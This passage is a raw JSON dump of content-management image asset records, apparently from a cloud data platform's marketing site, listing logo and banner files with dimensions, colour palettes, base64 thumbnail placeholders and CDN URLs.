title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e86034","foreground":"#fff","population":0.12,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#84443c","foreground":"#fff","population":0.29,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc4f04","foreground":"#fff","population":24.63,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-byoc.svg","path":"images/sczeoy4w/production/680b96d7b3ef50def356466ac191ff27259be76d-34x51.svg","sha1hash":"680b96d7b3ef50def356466ac191ff27259be76d","size":4118,"uploadId":"ZXxrXg6Rtl15dSTQADNWmCUOh7r0bitG","url":"https://cdn.sanity.io/images/sczeoy4w/production/680b96d7b3ef50def356466ac191ff27259be76d-34x51.svg"} {"_createdAt":"2024-10-23T06:58:49Z","_id":"image-f1182d69620689cf55ece3e86ba9bbcc6789263b-34x51-svg","_rev":"Tk5wEyuF6ALVCQLusXHjsF","_type":"sanity.imageAsset","_updatedAt":"2024-10-23T06:58:49Z","assetId":"f1182d69620689cf55ece3e86ba9bbcc6789263b","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"duPGjXt7t7t7~qayofWBIUj[WBofRjayRjay?bj[ayj[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.6666666666666666,"height":51,"width":34},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAeCAYAAAAsEj5rAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC2klEQVR4nLXWWajncxjH8T8zsmUJCRFJ2YrsF6IMYxmFsk2JTgwuMHaHCGMpiguuxB03tjEmy1CyZBhrEzcuJNlqDGZOxpGM83npMc+pkXOO40y+9fT7/b49v/ezfp/fb4Cr8SRW4MMZynI8gjMHeBdfJVmTZO0M5ackn+CxAv6GMZu4kqzBe4Pp6eaPkrqfQm8kycpJgQ34EZ/izSRv9H3trf9PwGyAfYtnk9yOhS234ekkX7fOtIGVjyW4Afd0FzyFe3FdGWpPpwa21R+wLMlwwZJ8gJ9bPmrojXgxyfcbhT+hhwVbkuRaXI9XGzS+1uG18jzJNXimoZkIWJbex824C29VWO11KX+J1W307fZ+OMk7+H0i4C+dtyvxQpJfe7969DM8isVJvivdJC/jqvKyo/gHcBRLcUUnfXVVs2GvdBouTPIEvsBzbXxxp+LvwG7elViEh6vr2/oDtZfkAhxa0Db4EO7sQq2frCgjnZNlfTaX1fnEgxjC0bgcL1WVK5dJ1k5V5arWaPfhuu61b/qkDHfOCrSqBkLnfWwq4ESrXvi8G/v1NjbRmR6ZLjDtyar2erIBMTIOHPuXKTKtlQ25/HjQDTu66bxUfy4d9Nl8vqu7YoayHI9jQQH3xTE4EXNnKHNwGHYb1MLmmIXZM5RZ2GzwvyxshR1btk6yJbbBFm19fK/0dsB2td/vzk6yfUnpjwP3xymY17k8AIdjH+xV90kOxJE4tfO1H3bq/bk4CQdh2wKe3t+KRT2Jz8D8HgbzcUlfF24kQw25rJ8X4JwkexbwfNyP+3B3G5jX35Lau7il/jBOqL+DmjI9sW9p3UNwFHYdB9aLBahxVGHVmKpPQD1XSOf2nDyin2ui39TA47E3DsYuBTwLd1TYPVFO7t6s0C/q3BzbHg4lubThZ/deeX9ehVzgAs5JcmudmFb+y1LPvirA7tijAKXXoR7XXlUxK+/l7WnY+U97Ejl6vBqYjgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.58,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.58,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.35,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.58,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-byoc-white.svg","path":"images/sczeoy4w/production/f1182d69620689cf55ece3e86ba9bbcc6789263b-34x51.svg","sha1hash":"f1182d69620689cf55ece3e86ba9bbcc6789263b","size":4081,"uploadId":"90WMbB1VO1ADHTY58rxJ1exmgTPnKzW1","url":"https://cdn.sanity.io/images/sczeoy4w/production/f1182d69620689cf55ece3e86ba9bbcc6789263b-34x51.svg"} {"_createdAt":"2024-10-23T06:58:52Z","_id":"image-998f7d13fb6e935732eb7ca24f073ef99c558cac-34x51-svg","_rev":"zIsiQAjxKhucsEb2t0S4HJ","_type":"sanity.imageAsset","_updatedAt":"2024-10-23T06:58:52Z","assetId":"998f7d13fb6e935732eb7ca24f073ef99c558cac","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"d69HIbt7ozs;_NaxogaeIUj[V@ogRjayRjay.8j[azj[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.6666666666666666,"height":51,"width":34},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAeCAYAAAAsEj5rAAAACXBIWXMAAAsTAAALEwEAmpwYAAAD+klEQVR4nLVWW4hWVRQ+Wg9FD0aXBxUDHyyqF0vtJWqgqIlKMPJv/v/stfbe67bHLmbZBS/hdCUtgrSiCxRBIDiU3dCHErWQfNNS6Mmu04PVGHkpsHKMdWaksLF0tAMfHDh7f2ut71t77VOFxDeFrEuQ5Xkge3EswFxWIuv8kG1WBaTvIpftkcuXyPbVmCD2BYp9hGTLKyDbF6X8HqUcPkkMItvH1SkgOuxALj8j2/Z/IxxCLr9ELt8glx0NxL6OYgei2NCJEXJDtge4bAayVUi2LJAsA9JngXRjZPPyDp0Aoe0HKhuRbCmSLAqkz3kXBJJFkG0xsH6IUvYdD+EQsu2PYp9A1kd8M7J9gFwGkO07ENswHMSWIduWhpTL0LEJ2fYC62Zg7fO+ilL6o9jgX1nYT8i21r9hI0HZ6ETHIvwD2T7zzJrS2N6Kw5l5Sx2IbN83m9kGUMpayOKl90Wybd52/yBEtl+B7X3IdheyrYlcBkeCHAIqu5BKP7JtGjFkD5K+GZJnqm+75qNkaAc8K2S7w4mRy96mWckGkGxTnezBwDofWNcD2W5gW9cEp9LvWo6SYfkN2La6q0D6ArJ9ClzWA/FLgWQ5JA3IPBOTzgtk63yNS4NkW6KUg6Oagq4T6XvAshrZtgLbasj6eJ1lcSCd247xUsxSA9sayPoGsL2DZLtHDsGobePi7vEWabSS4idjp5cX2BbUWWpkew257PJWajqAG9OO6+gdyfpQ5PJ5YH15xJhvRxsmeLyER8rx8Ra5/OjO/9dwGDpV0yaKbatcq8h28OQJ7Qck3VAB6+s+GJFspxswFiCXHUBunC6p6qQzgHlOyJIgaR4LMBli1u5O7p1WdXV1nQ4AZ7VKmZBSOnssaLXKhFbr3jP7+vrGV//HM77Vap3mqKpqnGMk0tHv472av63zZ9xRe6uqzTwpJZ2OXGaGwBe1YpwMoFM7pZwnIueA6tQY4+ROztP83q1Tmh5Cmegy9eQ8JZdyeVKdgaVckFI6o+rk3D0820pfTXJ3c/FHvQ2yzIYkN7jggfSWINIbuDwQsi70cx3MZmEuNWS7H3yfrwllYlXn3AMkT4WsKwLZY53EcyDxrR4gkD2MrPPqpBaYF0Ius4GtHUiWBrFenzaBdG4d+eqQ+FqvrgLmNpA8E0if9mndznKdlw9ZHwIuTyLpzYG0g8zzAtElIetVwProMJks6ohcQUTnI8rFiHeeW2GWFmZd4Yv8Uupk7e5BvdBJgOT2NvJlkPWakOgezzyQwHCZGpHKfU2wrN2Ye2/MOU9pCIH01UDaD0meqJNc6SaEyNfXWVotN6gxhBcA2SuYdaVr7OY0TZ3Nf7JWRSnQbvOkPwEBUAUMYNKidgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d3c44","foreground":"#fff","population":0.69,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3f3e46","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5c6464","foreground":"#fff","population":36.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#484751","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b9b8c0","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c6464","foreground":"#fff","population":36.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#797787","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-byoc-dark.svg","path":"images/sczeoy4w/production/998f7d13fb6e935732eb7ca24f073ef99c558cac-34x51.svg","sha1hash":"998f7d13fb6e935732eb7ca24f073ef99c558cac","size":4115,"uploadId":"wHaOKN0i8kIdeNzWFRyKEe8peTZmODV2","url":"https://cdn.sanity.io/images/sczeoy4w/production/998f7d13fb6e935732eb7ca24f073ef99c558cac-34x51.svg"} {"_createdAt":"2024-10-23T09:37:26Z","_id":"image-7a6eb9a07152982b5a8e7897297726aec9d0f55e-1200x630-png","_rev":"Tk5wEyuF6ALVCQLusXS3mq","_type":"sanity.imageAsset","_updatedAt":"2024-10-23T09:37:26Z","assetId":"7a6eb9a07152982b5a8e7897297726aec9d0f55e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBBMKC0v#RJt:|kOTN}O0*xu%2ROJW$g$x","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAADDUlEQVR4nCXS204bBACA4T6BTgal5/O5pWspULquBVoKrVCGbYWutWC7tjDogXGaazkIBTHAwhbr3IW7hGQEnVPMFk30xkO8MGpiFuOFJl546Sv8ZvoCX/Inv+BlYYIL7a/TIp7kojTNRdkUbYoc7aoZRJp5JNoFJLolpPpVpPoaSksDo+sBdt/HeIKPycf2OS5l+XU7yj9HAQQt4gm05hzWzhvYukqYnWXMzgXsPau4vGv09jfo9u9gcGwgM9SRm7bRd76PzXuGO/iEzNUjPijO8E09zp/vhhEI5UlcnjKDr9YZHtsgENmgb2iT0Oguo7FDEqkm45NNevx7qCzryIxb6JzvYfU+wtX/mOhwk83UAielKT5bSiEQKq7hdJcIRmqExzYZjm4xPLZLeHyPyPgBsWtN4qn79IUP0V96G7lpC4PzHg7/CV39pwT996hEquwm8qyMVxG0ypIYOgp0Xq7S7VvG7b+Fu69Gt6+O68o6noEG3uAend4dtB0bqKzbdPQ2uRJ+RGjklDdD2+wHExwEY5R9RQSviCeR67Lo7LMYHSWMl6porGUUxhJK0wJq6wpKyy1kxttIDXW09nfoDTwkkjgnmfqU3fhtziMezgbdHPZFEVwQTdCumkJhyqO2zKKxvoBKyPQllOabaGyraC0rGC2LmG2rdHTtMTByQjzzFdP5r6knjzgeGeV4aJCtQAbBS8LEf8u0KdKIVNOI1NcRa4pItDeQ6quozYt4usukQwVmRgqkR9dJJE/JzHxPrvQj6dQ52fBdrg/uczXwAEGLMI5cEkelSaMwZBGps0i0BdTmeWT6Ckp9maivwJ3MJGeVGA8rZZbnT5m9+Qtzy895LfMtl4ee0hN8SnfwGYLW9hg6eRyzaQqDrYhMn0dlLGJ1lNCYKyh0/4MfFhL8tBnmu508h7WPWFr7ncW1P5jI/YB76AscA89w9H/+IjlOiyhOm3SSNvkbtMqnESlzKHUFZNo5xOoKHtccB5kkv+2EeH4ny/3tJ9Qaf/FW42/SxZ/xhL/E0XeO3fcJ/wKf/bQJQoOW1AAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d4478","foreground":"#fff","population":1.25,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042071","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f08e3f","foreground":"#000","population":2.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a3a9d1","foreground":"#000","population":0.77,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f08e3f","foreground":"#000","population":2.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5ca9","foreground":"#fff","population":0.21,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e14c11","foreground":"#fff","population":1.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AWSreinvent_meta.png","path":"images/sczeoy4w/production/7a6eb9a07152982b5a8e7897297726aec9d0f55e-1200x630.png","sha1hash":"7a6eb9a07152982b5a8e7897297726aec9d0f55e","size":251118,"uploadId":"9qRrWe3TkNsOowgzRTMTPlvPHVdwdEzF","url":"https://cdn.sanity.io/images/sczeoy4w/production/7a6eb9a07152982b5a8e7897297726aec9d0f55e-1200x630.png"} {"_createdAt":"2024-12-04T11:00:50Z","_id":"image-4eca6590599dc0fa0081213207cc7dd4467f50db-1200x630-jpg","_rev":"lv6iGm89yLVyvBeOJOXEqX","_type":"sanity.imageAsset","_updatedAt":"2024-12-04T11:00:50Z","assetId":"4eca6590599dc0fa0081213207cc7dd4467f50db","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M76Rc}-wISRioL?wxuIUR+ogf5ofocf9ac","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMEB//EACEQAAEEAQMFAAAAAAAAAAAAAAIAAQMEBRESMjEzUXKB/8QAFgEBAQEAAAAAAAAAAAAAAAAABAIG/8QAGhEBAAEFAAAAAAAAAAAAAAAAAAECAxIxYf/aAAwDAQACEQMRAD8AxehlKscMYHjwMmHa5O3V/KbeyFexVGOGqMRsWu5lBU7Ufq6VHz+rU2YjYlSjQH5No6Eo+boSsuIf/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#25274f","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142470","foreground":"#fff","population":12.67,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142470","foreground":"#fff","population":12.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5d8e8","foreground":"#000","population":4.96,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c80c4","foreground":"#fff","population":0.22,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6b7195","foreground":"#fff","population":1.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2886","foreground":"#fff","population":8.25,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Reimagine Retail with Aiven \u0026 AWS.jpg","path":"images/sczeoy4w/production/4eca6590599dc0fa0081213207cc7dd4467f50db-1200x630.jpg","sha1hash":"4eca6590599dc0fa0081213207cc7dd4467f50db","size":51574,"uploadId":"fUV19OBFKrQ9ePtJPAdqsNXURdaxQcsR","url":"https://cdn.sanity.io/images/sczeoy4w/production/4eca6590599dc0fa0081213207cc7dd4467f50db-1200x630.jpg"} {"_createdAt":"2024-06-25T10:02:21Z","_id":"image-c123812bcaf59a8e81f061167d70a88e71d9b565-1188x823-png","_rev":"aWoy619Wq5MYH4feSQYVxP","_type":"sanity.imageAsset","_updatedAt":"2024-08-30T08:27:20Z","altText":null,"assetId":"c123812bcaf59a8e81f061167d70a88e71d9b565","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VJBVV*=hNXJ#J653oi$ewZxFK8S6nMwbwa}F#lXWJoJp","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4434993924665858,"height":823,"width":1188},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAABYlAAAWJQFJUiTwAAAEE0lEQVQ4jX3Sa0yTZxTA8UcIBIaIy8KlCCtvazNH6PO2SIFCgQKVS0cprXWUFqhQCrTQQinKbVjEtAW59u1TkATNpmHCNhfdxQ2VDLMxsoyxMKP7AiQGETeji0skSMz7LMKXZVt2kvP1l39ODsDSITCXQTG+zaCkH4ncqRI+xYjgehlsiJgERAQBUSQB0V4CIl8CIhADESD+tv8aXOAGt8UofFbskUyKqEQJnwpncL3hbIiiid09QEAUSkC0n4AogIDI5/9BzTnwXf5I2O38kawPs72CrHhPBIOLItgkepPYrdxBWRAxCIheJyDy38W8/w0+ahkHs2VDYdOl7swxJSVIFXgiI+MQg03uFrIgiuCQnhAO6QlmQxREQOTHgmgPi9wtZJH/gG/29wDKcCJswNCe1VRsTz4sGIgi4qg3DvGG9x0kPUFM3lhAIH/SDwiu+QblfQ32c0YAAItAnt0FxCInOJw4sFObmHwWpKScBQC/6AZmQ3WYucacoVHbEt4SDIQCzqcBDN55Pw4cDuHCfk4qdKUJub2iWO4Qm0VSwbyEQR9hci8IZH8AMAagttAG0lN7wCG++9URMTje0LpXb+lkK0rsTIXAHKqKNzN5ZK+ISY4aeAmURy50fiVL7rlOxnsoJhypYpMo9e14dxSH53kNgIU9g+U6kMsrAz/cxwCsYQzcSm3g+eJS5lWZWPiNFGov56S7GkUVn+ckdd2TiIeeagvc28VS9EKYNvoEJrrvpqW6PlNKTjlK8trVRZIufo7YFZYk6PbHr3IzM8d4dnFJ4c1cbsdKUdTl30uif3qgOfjbXBF/azwnF78nNeEqZR9WFY1iWf4gPpZrp41FzVvtasuj9uL6BUtRw4Q2t6U1O6OnICnzIgkU6i9Qg+z0zPvSd9Z+lMduPiyJoZ+VR+MN9QG8IGPRF/PT6ea8Svp4no02yhroVlUN7Syrxn0VNfhMqZG2HbNu6uRn7hfKL9yQqaeHgd6y4KjVX7vSonHf61dZn15SqLavysX0lDQFj+el0JRUTPcWFtDdcgXdKTtKt8q0uFlpxE3FLXR9iWO7SuN9oiufultmmPm40rJ4GrQ514mGztUUY/NSpdE0M2zWTdwyv+teMcntf1oK6l+2ybTYoTyKHQolbpOVYpPM+lKn6HtWqrm0rNN/eUNfPzdkPHGnwnpqRdjmXI8BauMimJ/DPq6RzWCb8zHb1LF6pMr6c2Nl7cwFvW5yvlrtflinOr1lUnVvVaupdb1uck5fe2u82rpoqW9fzm5xbLCc3ufB099jn/K6BQAM1qWdBz+3jAFoxGB2as231/04pMO1HtdkX9XVnVyarLHMP6ixzK/Vnfxlosm+Wtbm2oh1UH/s++TKcx//Cgyu/4p3jGrbHfAXyaWv33JCgqcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#36456b","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a3098","foreground":"#fff","population":0.23,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f55008","foreground":"#fff","population":4.46,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8c93bd","foreground":"#fff","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcb474","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ab5686","foreground":"#fff","population":0.54,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f55008","foreground":"#fff","population":4.46,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"aiven-marketecture-for-stream-with-services.png","path":"images/sczeoy4w/production/c123812bcaf59a8e81f061167d70a88e71d9b565-1188x823.png","sha1hash":"c123812bcaf59a8e81f061167d70a88e71d9b565","size":163795,"title":null,"uploadId":"wsMuxXcQLM46rYmTK0CVSaLlPoNqlOxl","url":"https://cdn.sanity.io/images/sczeoy4w/production/c123812bcaf59a8e81f061167d70a88e71d9b565-1188x823.png"} {"_createdAt":"2024-06-25T15:02:35Z","_id":"image-0032c7bd38c52bcceec00cc6861ed3cda23e8e77-1920x1080-png","_rev":"p92WeIHLmx3eRj4ziDSkyD","_type":"sanity.imageAsset","_updatedAt":"2024-07-03T07:19:44Z","altText":null,"assetId":"0032c7bd38c52bcceec00cc6861ed3cda23e8e77","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MEExn{]$^uadlA?d=X-;s;=_~V%1RQWCNa","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1080,"width":1920},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAADAklEQVQokQXB209bBQDA4ZOYmD0sixrjMLLZqYNtMoFWLGALLS2lrZRLb4fSy+mVnranp/RCa+uAduMyNtaVORPnwuaM08DD3IYJ0b2ZPRjD/qaf3yec7K3xuujnn4yLv5c8/LLgo2ULkB2NENLGmetLMdWTxqiRGejKoXlH5fSpEsKpMm+drfHh4A26RrbQWHbwFp4gvL67wXFB4khe5DApcc8TpmaNkTamCQ0reHV5pq+qWHoLDF8ocbW7zLmuCqfPVnj7XJUzVxqc6a/z0XgTX/ExwqvdWxwU8hyWyjzKrrA6LaOY0uRsFbLT68SmmojmFjOGDWwj25iGt/hycI3zPSu8e7GMRlfk868V+ux1/JV9hGdbt/h5ucrvjSY/FtapOhVy4zJF17eU/Vtk3TeJzLQJzN7HP/s9npk2TtsGWl2ZS4Mq0w6VhF/BIdYJVPcRrudKbCSzdJQSregyhckkOUMceTxH0lRGMlYQzU08zjt4HJu4rTXmzAWsozITpiyZQJF6sow3skq4vo9gNzsI22fIz3qIOHyIxhDegQT23jRjFzIYNBkMl4uM6q6h11YY6U8z8VUClyVFyCuzksxTiueYX8gTK91GGNKNMT82SdRqY9pgwaTzMnIxy5WuIh+/V+LTD4poP1HQXVbouaTS+0Uew5iCOJ9BjaeoyXGWgj5mXbMEpTSCxeIm5Q3RED3k7CbiRhuLA0H03Vm63y/Tp1FxD8YQ9WH0Wpkhg0pwfolGJEQ7JdJOuVB944hzk0hRCcHqCJOPKXTkGA+iTn6NTvHQ7SLQH+Gz88sM9RUIjydJTMaZGMtgtiRZ9nv5IergIGHmQNKz7tYiuS1kkhKC7ZsgS4kiLbVCuyDz22qBp9/VqUY3cbs7BIL3UOQ91PweUvoOi5Eq8oLItZCL3aiT+ykXzbibbESkmJAQFLXGWqvNzdsPabcf8OTxU148e8XLl//xx4sTnv95wtHxG47+esPz43/56dEhjcYqtXKFzbV1Ots7dHZ22W7e4PpKlf8BEnPUzNwYBSEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#603766","foreground":"#fff","population":6.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041b72","foreground":"#fff","population":4.49,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#603766","foreground":"#fff","population":6.27,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cba5a1","foreground":"#000","population":2.59,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c1caea","foreground":"#000","population":0.4,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9f5a53","foreground":"#fff","population":1.28,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d7632a","foreground":"#fff","population":4.25,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"podcast-caching.png","path":"images/sczeoy4w/production/0032c7bd38c52bcceec00cc6861ed3cda23e8e77-1920x1080.png","sha1hash":"0032c7bd38c52bcceec00cc6861ed3cda23e8e77","size":1760136,"title":null,"uploadId":"AF0I1BQzWUgd7dDB9xrdYasNVKnPqHfP","url":"https://cdn.sanity.io/images/sczeoy4w/production/0032c7bd38c52bcceec00cc6861ed3cda23e8e77-1920x1080.png"} {"_createdAt":"2024-06-25T15:07:28Z","_id":"image-e9714beb6e6e5b14082f4f1b2eef5281ccfdabab-3702x1322-png","_rev":"FWfcFyz4v76XPZNTIC163H","_type":"sanity.imageAsset","_updatedAt":"2024-06-25T15:08:45Z","altText":"Valkey Service running in the Aiven Console","assetId":"e9714beb6e6e5b14082f4f1b2eef5281ccfdabab","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D5Ss89IVD*-qIV_4M_IVxZxu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.8003025718608168,"height":1322,"width":3702},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA60lEQVQokYVR0W7EIAzj/7903a2UkpJAQuspsN6mk7Y9WIAwdmzCY1kQ44ZMBWkviBsh7YRSGNY7ruvCef6FE2YdtSpEFGH9SEiJQIdgjQfelhXvjxU7EZoqej//hWpHYQUdihAjIWcGcwORIG4Zac84CqM2Ra0GcYjv2w8oWrMxnQuyGI4yBDOIeBAmsULVRtzWFMWNDkcdNTDLgEgd9733GXtMagjbRk9Bj2hmozeHn5nrmN5XN1TVaWj2JTa5vvq0wcVKcbITXfD7I/w8RWY07+s2e8X8HENwd5E2+rgf3qTZz4z1m9Cr4CfVXyQd1TDJjwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#40507c","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#26325d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b1b8d7","foreground":"#000","population":0.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b1b8d7","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a2b2ea","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7882ac","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c8cc9","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"valkey-service-in-aiven-console.png","path":"images/sczeoy4w/production/e9714beb6e6e5b14082f4f1b2eef5281ccfdabab-3702x1322.png","sha1hash":"e9714beb6e6e5b14082f4f1b2eef5281ccfdabab","size":336879,"title":"Valkey Service in Aiven Console","uploadId":"sCvDQBHNbYKjaPFcv7zPNnxkGSKcJmva","url":"https://cdn.sanity.io/images/sczeoy4w/production/e9714beb6e6e5b14082f4f1b2eef5281ccfdabab-3702x1322.png"} {"_createdAt":"2024-12-11T14:28:41Z","_id":"image-581f3fe22609f828dc3f3381592a64974e699e74-1200x628-png","_rev":"lbpMA3MBWy0eIji4xoJ8i6","_type":"sanity.imageAsset","_updatedAt":"2024-12-11T14:28:41Z","assetId":"581f3fe22609f828dc3f3381592a64974e699e74","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M27UP,-v$rZ|0Y?DEo_3_1OvDm$@?ItCRK","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACg0lEQVR4nD3S/U8SARzHcf4G8ynkTjg4OI5DkEc5uENBCN3MhZXpqs0pSLbCSBT14OIh6MFa/dK/+27S1s+f7177bN+PY048oLDV4bjxi+3dPoJcY8Z5xKxQY375jAX3exY8H1j0tnHKN7j8PQSljxSyUaMWwYiFO9idZg+9HRzzwgHlHYuz5h92n45YDtSn4ANXjTnxDfP/wQucvn+gV7tGzzZ5+eQDR/tdipURcvQTTvkWx4xzn7je5PHTAWapg0c5ZdFTwyk1cPneIfhbCIELRKUzbeLVesQzTXYe7VOrVmkfnXJ80idd/IxLse/B58jaCancOWmzRSzTIpL+SCTdJqbfksjZxHN9EsaI1eyE1cyA0tZ7dirbrCcT7BbLHB6+JVvq4dbGOGZdL1CidVLGOfrGBcbmNUbJwtjsYZYHrFfGrG99YWPrDn3zjlj2Mx